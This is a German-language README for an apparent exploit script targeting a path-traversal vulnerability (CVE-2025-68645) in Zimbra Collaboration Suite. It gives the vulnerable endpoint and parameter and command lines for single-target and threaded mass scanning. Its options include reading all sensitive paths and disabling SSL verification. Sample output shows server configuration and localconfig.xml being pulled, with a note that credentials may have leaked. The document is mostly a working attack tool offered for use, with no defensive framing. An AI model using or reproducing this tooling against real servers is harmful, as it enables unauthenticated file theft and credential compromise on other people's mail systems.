CVE-2025-68645 - Zimbra Path-Traversal-Schwachstelle

📋 Übersicht

CVE-2025-68645 ist eine Path-Traversal-Schwachstelle in Zimbra Collaboration Suite, die nicht authentifizierten Angreifern das Lesen beliebiger Dateien vom Dateisystem des Servers ermöglicht.

Verwundbarer Endpunkt

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Auswirkungen

📁 Lesbare Dateien

🚀 Verwendung

Scan eines einzelnen Ziels

python CVE-2025-68645.py.py -t https://target.zimbra.com

Massen-Scan

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Erweiterte Optionen

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Befehlszeilenargumente

Argument Beschreibung Standard -t, --target URL eines einzelnen Ziels None -l, --list Datei mit einer Liste von Zielen None -o, --output Name der Ausgabedatei results.json --threads Anzahl gleichzeitiger Threads 10 --timeout Timeout der Anfrage in Sekunden 15 -v, --verbose Ausführliche Ausgabe aktivieren False --no-verify SSL-Überprüfung deaktivieren False --read-all Alle sensiblen Pfade lesen False

📸 Beispielausgabe

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0